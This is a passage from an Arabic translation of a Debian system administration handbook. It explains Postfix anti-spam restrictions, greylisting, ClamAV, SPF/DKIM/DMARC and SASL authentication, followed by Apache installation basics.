تتطلب القاعدة reject_unknown_sender_domain أن يكون نطاق المرسل سليماً، لأنه لازم للعناوين الصحيحة. ترفض القاعدة reject_unlisted_sender المرسلين المحليين إذا لم يكن العنوان موجوداً؛ هذا يمنع إرسال الرسائل الإلكنرونية من عنوان غير صحيح في النطاق falcot.com، ولن تُقبَل الرسائل المنبعثة من joe.bloggs@falcot.com مثلاً إلا إذا كان هذا العنوان موجوداً فعلاً.

أخيراً، ترفض القاعدة reject_non_fqdn_sender الرسائل الإلكترونية التي تدّعي أنها ترد من عناوين ليس لها اسم نطاق كامل التوصيف. عملياً، هذا يعني رفض الرسائل الواردة من user@machine: ولذلك يجب إعلان العنوان على أنه user@machine.example.com أو user@example.com.

The reject_rhsbl_sender rule reject senders based on a (domain-based) RHSBL service.

11.1.3.4. القبول أو الرفض اعتماداً على المستقبل

لكل رسالة مستقبل واحد على الأقل، يعلن عنه الأمر RCPT TO في بروتوكول SMTP. يضمن التحقق من هذه العناوين أيضاً شرعية الرسالة، حتى لو كانت أقل أهمية من التحقق من عنوان المرسل.

مثال 11.5. التحقق من المستقبل

smtpd_recipient_restrictions = permit_mynetworks, reject_unauth_destination, reject_unlisted_recipient, reject_non_fqdn_recipient, permit

reject_unauth_destination هي القاعدة الأساسية التي تتطلب أن تكون الرسائل الخارجية معنونة إلينا؛ أما الرسائل المرسلة إلى عنوان لا يخدمه هذا المخدم فسوف تُرفَض. دون هذه القاعدة، يسصبح المخدم محطة ترحيل مفتوحة تسمح بإرسال الرسائل الدعائية؛ أي أن هذه القاعدة إلزامية، والأفضل وضعها قرب بداية القائمة بحيث نقطع احتمال أن تسمح قاعدة أخرى للرسالة بالمرور قبل التحقق من وجهتها.

ترفض القاعدة reject_unlisted_recipient الرسائل المرسلة إلى مستخدمين محليين لا وجود لهم، وهذا منطقي. أخيراً، ترفض القاعدة reject_non_fqdn_recipient العناوين ذات التوصيف غير الكامل؛ هذا يمنع إرسال رسالة إلى jean أو jean@machine، بل يجب استخدام العنوان الكامل بدلاً من ذلك، مثل jean@machine.falcot.com أو jean@falcot.com.

The permit directive at the end is not necessary. But it can be useful at the end of a restriction list to make the default policy explicit.

11.1.3.5. القيود المتعلقة بالأمر DATA

يُرسَل الأمر DATA التابع لبروتوكول SMTP قبل إرسال محتويات الرسالة. لا يقدّم هذا الأمر أي معلومات بحد ذاته، فيما عدا الإعلان عما سيرد تالياً. لكن لا يزال إخضاعه للفحوصات ممكناً.

مثال 11.6. التحقق من DATA

smtpd_data_restrictions = reject_unauth_pipelining

تسبب التعليمات reject_unauth_pipelining رفض الرسائل إذا أرسلت الجهة المرسلة أمراً قبل إرسال الرد على الأمر السابق. هذا يحمي من عمليات التسريع الشائعة التي تستخدمها روبوتات الرسائل الدعائية، إذا أنها عادة لا تهتم أبداً بالردود وتركز فقط على إرسال أكبر عدد ممكن من الرسائل بأقصر زمن ممكن.

11.1.3.6. تطبيق القيود

Although the above commands validate information at various stages of the SMTP exchange, Postfix sends the actual rejection as a reply to the RCPT TO command by default.

هذا يعني أنه حتى لو رفضت الرسالة نتيجة أمر EHLO خاطئ، سيعلم Postfix من هو المرسل ومن المستقبل عند إعلان الرفض. ويستطيع عندها تسجيل رسالة أوضح في السجلات وهذا غير ممكن إذا قوطعت عملية التبادل منذ البداية. بالإضافة لذلك، لا يتوقع بعض عملاء SMTP إخفاق عملية التبادل عند أوامر SMTP الأولية، وسيقل تشوش هذه العملاء عند استلام الرفض في وقت متأخر.

هناك ميزة أخيرة لهذا الخيار هي أن القواعد تستطيع جمع المعلومات أثناء المراحل المتنوعة لعملية تبادل SMTP؛ وهذا يسمح بتعريف صلاحيات أدق، مثل رفض اتصال غير محلي إذا أعلن أن مرسله مرسل محلي.

The default behavior is controlled by the smtpd_delay_reject rule.

11.1.3.7. الترشيح اعتماداً على محتويات الرسالة

لن يكتمل نظام التقييد والتحقق دون طريقو لتطبيق الفحوضات على محتويات الرسائل. يفرق Postfix بين الفحوصات المطبّقة على ترويسات البريد الإلكتروني من تلك التي تطبق على متن (body) الرسالة.

مثال 11.7. تفعيل المرشحات التي تعتمد على المحتوى

header_checks = regexp:/etc/postfix/header_checks body_checks = regexp:/etc/postfix/body_checks

يحوي كل ملف قائمة من التعابير المنتظمة (تعرف عادة باسم regexps أو regexes) والإجراءات المرتبطة معها التي تنشط عند مطابقة ترويسات الرسالة (أو متنها) للتعبير المنتظم:

نظرة سريعة جداول التعابير المنتظمة

The file /usr/share/doc/postfix/examples/header_checks.gz (from the postfix-doc package) and header_checks(5) contain many explanatory comments and can be used as a starting point for creating the /etc/postfix/header_checks and /etc/postfix/body_checks files.

مثال 11.8. مثال عن الملف /etc/postfix/header_checks

/^X-Mailer: GOTO Sarbacane/ REJECT I fight spam (GOTO Sarbacane) /^Subject: *Your email contains VIRUSES/ DISCARD virus notification

أساسيات التعابير المنتظمة

The regular expression term (shortened to regexp or regex) references a generic notation for expressing a description of the contents and/or structure of a string of characters. Certain special characters allow defining alternatives (for instance, foo|bar matches either “foo” or “bar”), sets of allowed characters (for instance, [0-9] means "any digit", and . — a dot — means "any character"), quantification (s? matches either s or the empty string, in other words 0 or 1 occurrence of s; s+ matches one or more consecutive s characters; and so on). Parentheses allow grouping search results.

The precise syntax of these expressions varies across the tools using them, but the basic features are similar.

→ https://en.wikipedia.org/wiki/Regular_expression

يتحقق الأول من الترويسة التي تذكر برنامج البريد الإلكتروني؛ فإذا وجدت العبارة GOTO Sarbacane (برنامج لإرسال البريد بالكميات)، سوف ترفض الرسالة. يتحكم التعبير الثاني بموضوع الرسالة؛ فإذا كان يذكر تحذيراً من فيروس، يمكننا ألا نرفض الرسالة ولكن نحذفها مباشرة بدلاً من ذلك.

استخدام هذه المرشحات سيف ذو حدين، لأنه يسهل بناء قواعد عامة جداً وخسارة رسائل مشروعة نتيجة لذلك. في هذه الحالات، لن نخسر الرسائل وحسب، بل سيحصل مرسلوا هذه الرسائل على رسائل أخطاء غير مرغوبة (ومزعجة غالباً).

11.1.4. إعداد القوائم الرمادية

“القوائم الرمادية“ (Greylisting) هي تقنية ترشيح تعتمد على رفض الرسالة في البداية مع الرد برمز خطأ مؤقت، وقبولها إذا أعيدت محاولة إرسالها ثانية بعد بعض الوقت. هذه التقنية فعالة خصوصاً لترشيح الرسائل الدعائية التي ترسلها العديد من الجهزة المصابة بالديدان والفيروسات، لأن هذه البرمجيات نادراً ما تتصرف كعميل SMTP كامل؛ فهي لا تتحقق من رمز الخطأ وتحاول إعادة إرسال الرسائل التي فشل إرسالها لاحقاً، خصوصاً وأن معظم العناوين المحصودة غير صحيحة أصلاً وإعادة محاولة الإرسال لا تعني إلا خسارة الوقت.

لا يدعم Postfix القوائم الرمادية داخلياً، لكن هناك ميزة تسمح بتوكيل برنامج خارجي لاتخاذ قرار قبول أو رفض رسالة معينة. هناك برنامج كهذا في الحزمة postgrey، مصمم ليرتبط مع خدمة توكيل سياسة القبول.

بعد تثبيت postgrey، سوف يعمل كخدمة وينصت للمنفذ 10023. يمكن عندها ضبط Postfix لاستخدامه، بإضافة المتغير check_policy_service كقيد إضافي:

smtpd_recipient_restrictions = permit_mynetworks, [...] check_policy_service inet:127.0.0.1:10023

في كل مرة يصل فيها Postfix لهذه القاعدة، سيتصل بخدمة postgrey ويرسل لها معلومات تخص الرسالة المعنية. ينظر Postgrey بدوره إلى ثلاثية (عنوان IP، المرسل، المستقبل) ويتحقق من رؤيته لهذه الثلاثية نفسها مؤخراً عبر قاعدة بياناته. إذا حدث ذلك، يرد Postgrey بأن الرسالة يجب أن تُقبَل؛ وإلا فإنه يرد بأن الرسالة يجب رفضها مؤقتاً، وتُسجَّل الثلاثية في قاعدة البيانات.

السيئة الرئيسية للقوائم الرمادية هي تأخر استلام الرسائل المشروعة، وهذا غير مقبول دائماً. كما يزيد العبئ على المخدمات التي ترسل الكثير من الرسائل المشروعة.

ممارسة عملية عيوب القوائم الرمادية

نظرياً، يفترض أن تؤخر القوائم الرمادية الرسالة الأولى من مرسل معين إلى مستقبل معين، وأن التأخير نموذجياً لا يتعدى دقائق. لكن الواقع قد يختلف قليلاً. بعض ISP يستخدمون عناقيد من مخدمات SMTP، وعند رفض الرسالة اول مرة، قد يحاول مخدم آخر مختلف عن الأول إعادة إرسالها. عندما يحدث ذلك، يحصل المخدم الثاني أيضاً على رسالة خطأ مؤقت نتيجة استخدام القوائم الرمادية، وهكذا؛ قد تستغرق عملية الإرسال عدة ساعات قبل أن يحاول أحد المخدمات التي حاولت من قبل إعادة الإرسال، وذلك لأن مخدمات SMTP ترزيد عادة التأخير بين المحاولات بعد كل محاولة فاشلة.

نتيجة لذلك، قد يتغير مع الزمن عنوان IP لنفس المخدم المرسل أيضاً. بل وأكثر من ذلك، قد يتغير عنوان المرسل حتى. مثلاً، تُشفِّر الكثير من مخدمات القوائم البريدية معلومات إضافية في عنوان المرسل بحيث تتمكن من معالجة رسائل الأخطاء (تدعى bounces). كل رسالة جديدة ترسل إلى القائمة البريدية عليها عنئذ المرور عبر القوائم الرمادية، وهذا يعني أنه يجب تخزينها (مؤقتاً) على مخدم المرسل. بالنسبة للقوائم البريدية الكبيرة جداً (التي تحوي عشرات ألوف المشتركين)، سرعان ما يصبح هذا الأمر مشكلة.

لتخفيف هذه الأضرار، يدير Postgrey قائمة بيضاء بهذه المواقع، ويقبل الرسائل التي ترد منها فوراً. يمكن ملائمة هذه القائمة مع الاحتياجات المحلية بسهولة، إذ أنها مخزنة في الملف /etc/postgrey/whitelist_clients.

التعمق أكثر الاستخدام الانتقائي للقوائم الرمادية باستخدام milter-greylist

يمكن تخفيف أضرار القوائم الرمادية باستخدامها فقط على مجموعة جزئية من العملاء الذي اعتبروا كمصدر للرسائل الدعائية مسبقاً (لأنهم مذكورون في قائمة DNS سوداء). هذا غير ممكن في postgrey ولكن يمكن استخدام milter-greylist بهذه الطريقة.

في تلك الحالة، يصبح استخدام القوائم السوداء الصارمة حلاً منطقياً، بما فيها القوائم التي تذكر جميع عناوين IP الديناميكة التابعة لعملاء ISP ما (مثل pbl.spamhaus.org أو dul.dnsbl.sorbs.net)، لأن قوائم DNS السوداء لن تسبب رفضاً قاطعاً.

Since milter-greylist uses Sendmail's milter interface, the postfix side of its configuration is limited to “smtpd_milters = unix:/var/run/milter-greylist/milter-greylist.sock”. The greylist.conf(5) manual page documents /etc/milter-greylist/greylist.conf and the numerous ways to configure milter-greylist. You will also have to edit /etc/default/milter-greylist to actually enable the service.

11.1.5. تخصيص المرشحات حسب المستقبل

عرض قسم 11.1.3, “قيود الاستقبال والإرسال” وقسم 11.1.4, “إعداد القوائم الرمادية” عدة قيود متاحة للاستخدام. لكل منها فائدته في الحد من كمية الرسائل الدعائية المستقبلة، لكن لكل منها عيوبه أيضاً. ولذلك يتزايد انتشار تخصيص مجموعة المرشحات اعتماداً على المستقبل أكثر فأكثر. في شركة فلكوت، تنفع القوائم الرمادية معظم المستخدمين، لكنها تعيق عمل بعض المستخدمين الذين يحتاجون وصول رسائلهم بتأخير قصير (مثل خدمة الدعم الفني). كما تعاني خدمة التجارة أحياناً من مشاكل في استلام ردود بعض المزودين الآسيويين لأنهم مذكورين في القوائم السوداء؛ وقد طلبت هذه الخدمة عنواناً دون ترشيح حتى يتمكنون من التواصل معهم.

يقدم Postfix ميزة تخصيص للمرشحات عبر مفهوم ”فئات التقييد restriction class“. يصرح عن الفئات في المتغير smtpd_restriction_classes، وتُعرَّف بنفس أسلوب smtpd_recipient_restrictions. بعدها تحدد التعليمة check_recipient_access جدولاً يقابل بين المستقبل المحدد ومجموعة القيود المناسبة.

مثال 11.9. تعريف فئات التقييد في main.cf

smtpd_restriction_classes = greylisting, aggressive, permissive greylisting = check_policy_service inet:127.0.0.1:10023 aggressive = reject_rbl_client sbl-xbl.spamhaus.org, check_policy_service inet:127.0.0.1:10023 permissive = permit smtpd_recipient_restrictions = permit_mynetworks, reject_unauth_destination, check_recipient_access hash:/etc/postfix/recipient_access

مثال 11.10. الملف /etc/postfix/recipient_access

# Unfiltered addresses postmaster@falcot.com permissive support@falcot.com permissive sales-asia@falcot.com permissive # Aggressive filtering for some privileged users joe@falcot.com aggressive # Special rule for the mailing-list manager sympa@falcot.com reject_unverified_sender # Greylisting by default falcot.com greylisting

11.1.6. التكامل مع مضاد فيروسات

الفيروسات العديدة التي تتجوّل كمرفقات بريدية تضطرنا لإعداد مضاد فيروسات عند نقطة الدخول إلى شبكة الشركة، لأن بعض المستخدمين سيفتحون الملفات المرفقة مع الرسائل التي تبدو مشبوهة بشكل واضح، رغم حملات التوعية.

SECURITY Controversial Discussion of Anti-Virus Software

The usage of virus scanners, or so called antivirus software, is controversial. There is usually a gap between the release of some piece of malware and the addition of detection rules to the antivirus database. During this gap, there is no software-based protection. Further, the usage often requires to run additional software, for example, to uncompress archives and scan all kinds of executables, which drastically increases the exploit potential of the antivirus software itself. Usage of such software solutions can therefor never replace awareness campaigns and simple behavioral rules (never open unsolicited sent attachments, etc.).

اختار مديرو النظم في شركة فلكوت clamav كمضاد فيروسات مجاني. الحزمة الرئيسية هي clamav، لكنهم ثبّتوا أيضاً حزماً إضافية مثل arj، وunzoo، وunrar وlha، لأن مضاد الفيروسات يحتاجها حتى يتمكن من تحليل المرفقات المضغوطة بإحدى هذه الصيغ.

يتولى clamav-milter مهمة الوصل ما بين مضاد الفيروسات وبين مخدم البريد الإلكتروني. الملتر (milter، اختصار mail filter) هو برنامج ترشيح مصمم خصيصاً للتواصل مع مخدمات البريد الإلكتروني. يستخدم الملتر واجهة برمجية تطبيقات (API أو application programming interface) تعطي أداءً أفضل بكثير من المرشحات الخارجية. قدم Sendmail الملاتر أول مرة، لكن سرعان ما لحق Postfix به.

نظرة سريعة ملتر Spamassassin

تقدم الحزمة spamass-milter ملتراً يعتمد على SpamAssassin، البرنامج الشهير لاكتشاف البريد الإلكتروني غير المرغوب. يمكن استخدامه لتحديد الرسائل على أنها يحتمل أن تكون دعائية (إضافة ترويسة زائدة) أو رفض الرسالة كلها إذا تجاوز مستوى ”spamminess“ عتبة محددة.

فور تثبيت الحزمة clamav-milter، يجب إعادة ضبط الملتر ليعمل على منفذ TCP بدلاً من استخدام المقبس الشبكي المسمّى الافتراضي. يمكن تنفيذ ذلك باستخدام dpkg-reconfigure clamav-milter. عند طلب ”Communication interface with Sendmail“، أجب عليه بإدخال ”inet:10002@127.0.0.1“.

ملاحظة منفذ TCP حقيقي أو مقبس مسمّى

سبب استعمالنا لمنفذ TCP حقيقي بدلاً من مقبس شبكي مسمّى هو أن خدمات Postfix تعمل تحت جذر مختلف (chrooted) غالباً ولا يمكنها الوصول للمجلد الذي يحوي المقبس المسمّى. يمكنك أيضاً أن تختار استخدام مقبس مسمّى لكن مع اختيار موقع ضمن الجذر المغيّر إليه (وهو /var/spool/postfix/).

تناسب إعدادات ClamAV القياسية معظم الحالات، لكن لا يزال تخصيص بعض البارامترات المهمة ممكناً عبر dpkg-reconfigure clamav-base.

الخطوة الأخيرة هي أن نطلب من Postfix استخدام المرشح الجديد؛ لتحقيق ذلك، يكفي إضافة التعليمة التالية إلى /etc/postfix/main.cf:

# Virus check with clamav-milter smtpd_milters = inet:[127.0.0.1]:10002

If the antivirus causes problems, this line can be commented out, and systemctl reload postfix should be run so that this change is taken into account.

ممارسة عملية اختبار مضاد الفيروسات

Once the antivirus is set up, its correct behavior should be tested. The simplest way to do that is to send a test email with an attachment containing the eicar.com (or eicar.com.zip) file, which can be downloaded online:

→ https://2016.eicar.org/86-0-Intended-use.html

هذا الملف ليس فيروساً حقيقياً، لكنه ملف اختبار تعتبره جميع برامج مكافحة الفيروسات في السوق فيروساً لاستخدامه في اختبار صحة عملية التثبيت.

ستمر جميع الرسائل التي يعالجها Postfix الآن عبر مرشح مكافحة الفيروسات.

11.1.7. Fighting Spam with SPF, DKIM and DMARC

The high number of unsolicited email sent every day led to the creation of several standards, which aim at validating that the sending host of an email is authorized and that the email has not been tampered with. The following systems are all DNS-based and require the administrators to not only have control over the mail server, but over the DNS for the domain in question too.

CAUTION Controversial Discussion

Like any other tool, the following standards have limits and real effects if put to use. They can (and should) lead to emails being rejected or even just discarded. If that happens to some legitimate emails (sometimes sent from a misconfigured SMTP server), it usually causes anger and a lack of understanding by the user. Therefor these rules are often applied as a "soft fail" or a "soft reject", which usually means that failing the checks only leads to adding a (header) mark to the affected email. There are people who think that this makes these standards "broken by design". Decide for yourself and be careful about how strict you choose to apply these standards.

11.1.7.1. Integrating the Sender Policy Framework (SPF)

The Sender Policy Framework (SPF) is used to validate if a certain mail server is allowed to send emails for a given domain. It is mostly configured through DNS. The syntax for the entry to make is explained in detail at:

→ http://www.open-spf.org/SPF_Record_Syntax

→ https://tools.ietf.org/html/rfc7208

→ https://en.wikipedia.org/wiki/Sender_Policy_Framework

The following is a sample DNS entry which states that all the domain's Mail Exchange Resource Records (MX-RRs) are allowed to email the current domain, and all others are prohibited. The DNS entry does not need to be given a name. But to use the include directive it must have one.

Name: example.org Type: TXT TTL: 3600 Data: v=spf1 a mx -all

Let's take a quick look at the falcot.org entry.

# host -t TXT falcot.org falcot.org descriptive text "v=spf1 ip4:199.127.61.96 +a +mx +ip4:206.221.184.234 +ip4:209.222.96.251 ~all"

It states that the IP of the sender must match the A record for the sending domain, or must be listed as one of the Mail Exchange Resource Records for the current domain, or must be one of the three mentioned IP4 addresses. All other hosts should be marked as not being allowed to send email for the sender domain. The latter is called a "soft fail" and is intended to mark the email accordingly, but still accept it.

The postfix mail server can check the SPF record for incoming emails using the postfix-policyd-spf-python package, a policy agent written in Python. The file /usr/share/doc/postfix-policyd-spf-python/README.Debian describes the necessary steps to integrate the agent into postfix, so we won't repeat it here.

The configuration is done in the file /etc/postfix-policyd-spf-python/policyd-spf.conf, which is fully documented in policyd-spf.conf(5) and /usr/share/doc/postfix-policyd-spf-python/policyd-spf.conf.commented.gz. The main configuration parameters are HELO_reject and Mail_From_reject, which configure if emails should be rejected (Fail) or accepted with a header being appended (False), if checks fail. The latter is often useful, when the message is further processed by a spam filter.

If the result is intended to be used by opendmarc (قسم 11.1.7.3, “Integrating Domain-based Message Authentication, Reporting and Conformance (DMARC)”), then Header_Type must be set to AR.

Note that spamassassin contains a plugin to check the SPF record.

11.1.7.2. Integrating DomainKeys (DKIM) Signing and Checking

The Domain Keys Identified Mail (DKIM) standard is a sender authentication system. The mail transport agent, here postfix, adds a digital signature associated with the domain name to the header of outgoing emails. The receiving party can validate the message body and header fields by checking the signature against a public key, which is retrieved from the senders DNS records.

→ http://dkim.org/

The necessary tools are shipped with the opendkim and opendkim-tools packages.

CAUTION Mailing List Software and DKIM

Mailing list managers often rewrite some email headers, thus leading to invalid DKIM signatures. Even using a relaxed canonicalization does not always prevent this from happening. So the administrators must pay close attention to the mail severs log files to identify such issues. Otherwise such emails might be flagged as spam and might get rejected.

First the private key must be created using the command opendkim-genkey -s SELECTOR -d DOMAIN. SELECTOR must be a unique name for the key. It can be as simple as "mail" or the date of creation, if you plan to rotate keys.

مثال 11.11. Create a private key for signing E-Mails from falcot.com

# opendkim-genkey -s mail -d falcot.com -D /etc/dkimkeys # chown opendkim.opendkim /etc/dkimkeys/mail.*

This will create the files /etc/dkimkeys/mail.private and /etc/dkimkeys/mail.txt and set the appropriate ownership. The first file contains the private key, and the latter the public key that needs to be added to the DNS:

Name: mail._domainkey Type: TXT TTL: 3600 Data: "v=DKIM1; h=sha256; k=rsa; s=email; p=[...]"

The opendkim package in Debian defaults to a keysize of 2048 bit. Unfortunately some DNS servers can only handle text entries with a maximum length of 255 characters, which is exceeded by the chosen default keysize. In this case use the option -b 1024 to chose a smaller keysize. If opendkim-testkey succeeds, the entry has been successfully set up. The syntax of the entry is explained here:

→ https://tools.ietf.org/html/rfc6376

→ https://en.wikipedia.org/wiki/DKIM

To configure opendkim, SOCKET and RUNDIR must be chosen in /etc/default/opendkim. Please note that SOCKET must be accessible from postfix in its chrooted environment. The further configuration is done in /etc/opendkim.conf. The following is a configuration excerpt, which makes sure that the Domain "falcot.com" and all subdomains (SubDomain) are signed by the Selector "mail" and the single private key (KeyFile) /etc/dkimkeys/mail.private. The "relaxed" Canonicalization for both the header and the body tolerates mild modification (by a mailing list software, for example). The filter runs both in signing ("s") and verification ("v") Mode. If a signature fails to validate (On-BadSignature), the mail should be quarantined ("q").

[...] Domain falcot.com KeyFile /etc/dkimkeys/mail.private Selector mail [...] Canonicalization relaxed/relaxed Mode sv On-BadSignature q SubDomains yes [...] Socket inet:12345@localhost [...] UserID opendkim

It is also possible to use multiple selectors/keys (KeyTable), domains (SigningTable) and to specify internal or trusted hosts (InternalHosts, ExternalIgnoreList), which may send mail through the server as one of the signing domains without credentials.

The following directives in /etc/postfix/main.cf make postfix use the filter:

milter_default_action = accept non_smtpd_milters = inet:localhost:12345 smtpd_milters = inet:localhost:12345

To differentiate signing and verification it is sometimes more useful to add the directives to the services in /etc/postfix/master.cf instead.

More information is available in the /usr/share/doc/opendkim/ directory and the manual pages opendkim(8) and opendkim.conf(5).

Note that spamassassin contains a plugin to check the DKIM record.

11.1.7.3. Integrating Domain-based Message Authentication, Reporting and Conformance (DMARC)

The Domain-based Message Authentication, Reporting and Conformance (DMARC) standard can be used to define a DNS TXT entry with the name _dmarc and the action that should be taken when emails that contain your domain as the sending host fail to validate using DKIM and SPF.

→ https://dmarc.org/overview/

Let's have a look at the entries of two large providers:

# host -t TXT _dmarc.gmail.com _dmarc.gmail.com descriptive text "v=DMARC1; p=none; sp=quarantine; rua=mailto:mailauth-reports@google.com" # host -t TXT _dmarc.yahoo.com _dmarc.yahoo.com descriptive text "v=DMARC1; p=reject; pct=100; rua=mailto:dmarc_y_rua@yahoo.com;"

Yahoo has a strict policy to reject all emails pretending to be sent from a Yahoo account but missing or failing DKIM and SPF checks. Google Mail (Gmail) propagates a very relaxed policy, in which such messages from the main domain should still be accepted (p=none). For subdomains they should be marked as spam (sp=quarantine). The addresses given in the rua key can be used to send aggregated DMARC reports to. The full syntax is explained here:

→ https://tools.ietf.org/html/rfc7489

→ https://en.wikipedia.org/wiki/DMARC

The postfix mail server can use this information too. The opendmarc package contains the necessary milter. Similar to opendkim SOCKET and RUNDIR must be chosen in /etc/default/opendmarc (for Unix sockets you must make sure that they are inside the postfix chroot to be found). The configuration file /etc/opendmarc.conf contains detailed comments and is also explained in opendmarc.conf(5). By default, emails failing the DMARC validation are not rejected but flagged, by adding an appropriate header field. To change this, use RejectFailures true.

The milter is then added to smtpd_milters and non_smtpd_milters. If we configured the opendkim and opendmarc milters to run on ports 12345 and 54321, the entry in /etc/postfix/main.cf looks like this:

non_smtpd_milters = inet:localhost:12345,inet:localhost:54321 smtpd_milters = inet:localhost:12345,inet:localhost:54321

The milter can also be selectively applied to a service in /etc/postfix/master.cf instead.

11.1.8. SMTP مع مصادقة

حتى تتمكن من إرسال الرسائل الإلكترونية يجب أن تتمكن من الوصول لمخدم SMTP؛ كما تحتاج أيضاً أن يسمح لك مخدم SMTP ذاك بإرسال رسائلك عبره. هذا قد يتطلب تحديث إعدادات عميل SMTP بشكل متكرر بالنسبة للمستخدمين المتنقلين، لأن مخدم SMTP في شركة فلكوت يرفض الرسائل التي ترد من عناوين IP لا تنتمي لشبكة الشركة. هناك حلان: إما أن يثبّت المستخدم الرحالة مخدم SMTP على حاسوبه، أو أن يستخدم مخدم الشركة عبر أسلوب مصادقة يثبت أنه موظف في الشركة. الحل الأول غير مستحسن لأن الحاسوب لن يكون متصلاً بالإنترنت دائماً، ولن يتمكن من إعادة إرسال الرسائل في حال مواجهة مشاكل؛ سوف نركز على الحل الأخير.

تعتمد مصادقة SMTP في Postfix على SASL‏ (Simple Authentication and Security Layer). هذا يتطلب تثبيت الحزمتين libsasl2-modules وsasl2-bin، ثم تسجيل كلمة سر في قاعدة بيانات SASL لكل مستخدم يحتاج المصادقة مع مخدم SMTP. هذا يتم بوساطة الأمر saslpasswd2، الذي يأخذ عدة بارامترات. يحدد الخيار -u نطاق المصادقة، الذي يجب أن يطابق المتغير smtpd_sasl_local_domain في إعدادات Postfix. يسمح الخيار -cبإنشاء مستخدم، ويسمح -f بتحديد الملف الذي تريد استخدامه لتخزين قاعدة بيانات SASL إذا كنت تريد تخزينها في مكان مختلف عن المكان الافتراضي (/etc/sasldb2).

# saslpasswd2 -u `postconf -h myhostname` -f /var/spool/postfix/etc/sasldb2 -c jean [... type jean's password twice ...]

لاحظ أن قاعدة بيانات SASL قد أنشئت في مجلد Postfix. لضمان التوافق، سوف نجعل /etc/sasldb2 أيضاً رابطاً رمزياً يشير إلى قاعدة البيانات التي يستخدمها Postfix، باستخدام الأمر ln -sf /var/spool/postfix/etc/sasldb2 /etc/sasldb2.

نحتاج الآن إعداد Postfix بحيث يستخدم SASL. أولاً يجب إضافة المستخدم postfix إلى المجموعة sasl، حتى يستطيع الوصول لقاعدة البيانات التي يملكها حساب SASL. كما نحتاج لبضعة بارامترات جديدة لتفعيل SASL، ويجب ضبط المتغير smtpd_recipient_restrictions للسماح للعملاء الذين صادقوا هويتهم باستخدام SASL بإرسال البريد الإلكتروني دون قيود.

مثال 11.12. تفعيل SASL في /etc/postfix/main.cf

# Enable SASL authentication smtpd_sasl_auth_enable = yes # Define the SASL authentication domain to use smtpd_sasl_local_domain = $myhostname [...] # Adding permit_sasl_authenticated before reject_unauth_destination # allows relaying mail sent by SASL-authenticated users smtpd_recipient_restrictions = permit_sasl_authenticated, permit_mynetworks, reject_unauth_destination, [...]

It is usually a good idea to not send passwords over an unencrypted connection. Postfix allows to use different configurations for each port (service) it runs on. All these can be configured with different rules and directives in the /etc/postfix/master.cf file. To turn off authentication at all for port 25 (smtpd service) add the following directive:

smtp inet n - y - - smtpd [..] -o smtpd_sasl_auth_enable=no [..]

If for some reason clients use an outdated AUTH command (some very old mail clients do), interoperability with them can be enabled using the broken_sasl_auth_clients directive.

إضافة عميل SMTP مع مصادقة

تستطيع معظم عملاء البريد الإلكتروني المصادقة مع مخدم SMTP قبل إرسال الرسائل الصادرة، ولاستخدام تلك الميزة يكفي ضبط المتغيرات المناسبة. إذا كان العميل المستخدم لا يدعم هذه الميزة، فالحل هو استخدام مخدم Postfix محلي وضبطه بحيث يرحل البريد الإلكتروني إلى مخدم SMTP البعيد. في تلك الحالة، يصبح مخدم Posfix المحلي نفسه عميلاً يجري عملية المصادقة باستخدام SASL. إليك المتغيرات اللازمة:

smtp_sasl_auth_enable = yes smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd relay_host = [mail.falcot.com]

يجب أن يحوي الملف /etc/postfix/sasl_passwd اسم المستخدم وكلمة السر التي ستستخدم عند المصادقة مع المخدم mail.falcot.com. هذا مثال:

[mail.falcot.com] joe:LyinIsji

كما هو حال جميع جداول التقابلات في Postfix، يجب تحويل هذا الملف إلى /etc/postfix/sasl_passwd.db باستخدام الأمر postmap.

11.2. مخدم الوب (HTTP)

The Falcot Corp administrators decided to use the Apache HTTP server, included in Debian Buster at version 2.4.38.

بدائل مخدمات وب أخرى

أباتشي هو أشهر مخدمات الوب (وأكثرها استخداماً)، لكن هناك غيره؛ وقد تقدم أداء أفضل منه تحت ظروف عمل معينة، لكن ذلك يكون على حساب عدد المزايا والوحدات المتاحة غالباً. على أي حال، إذا كان مخدم الوب المنتظر سيخدم ملفات ستاتيكية أو يعمل كبروكسي، عندها تستحق البدائل، مثل nginx و lighttpd، أخذها بعين الاعتبار.

11.2.1. تثبيت أباتشي

Installing the apache2 package is all that is needed. It contains all the modules, including the Multi-Processing Modules (MPMs) that affect how Apache handles parallel processing of many requests, which used to be provided in separate apache2-mpm-* packages. It will also pull apache2-utils containing the command line utilities that we will discover later.

تؤثر MPM المستخدمة بشكل كبير على طريقة تعامل Apache مع الطلبات المتوازية. عند استخدام worker MPM، يستخدم أباتشي ”الخيوط threads“ (عمليات خفيفة)، بينما يستخدم عند اختيار prefork MPM احتياطياً (pool) من عمليات منشأة مسبقاً. أما عند استخدام event MPM فهو يستخدم الخيوط أيضاً، لكن مع إعادة تسليم الاتصالات غير النشطة (خصوصاً تلك التي تبقى مفتوحة عبر ميزة keep-alive في HTTP) إلى خيط إدارة خاص.

The Falcot administrators also install libapache2-mod-php7.3 so as to include the PHP support in Apache. This causes the default event MPM to be disabled, and prefork to be used instead. To use the event MPM one can use php7.3-fpm.

أمن التنفيذ بصلاحيات المستخدم www-data

افتراضياً، يعالح أباتشي الطلبات الواردة تحت هوية المستخدم www-data. هذا يعني أن أي ثغرة أمنية في سكربت CGI يُنفّذه أباتشي (في صفحة ديناميكية) لن يعرض النظام كله للخطر، بل الملفات التي يملكها هذا المستخدم فقط.

Using the suexec modules, provided by apache2-suexec-* packages, allows bypassing this rule so that some CGI scripts are executed under the identity of another user. This is configured with a SuexecUserGroup usergroup directive in the Apache configuration.

وهناك احتمال آخر وهو استخدام MPM مخصصة لذلك. مثل التي توفرها الحزمة libapache2-mpm-itk. تتمتع MPM هذه بالذات بسلوك مختلف قليلاً: فهي تسمح ”بعزل“ المضيفات الظاهرية (مجموعات الصفحات فعلياً) بحيث يعمل كل منها كمستخدم مختلف. بالتالي، لا تستطيع ثغرة في موقع واحد تعريض الملفات التي تنتمي لمالك موقع آخر للخطر.

نظرة سريعة قائمة الوحدات

The full list of Apache standard modules can be found online.

→ https://httpd.apache.org/docs/2.4/mod/index.html

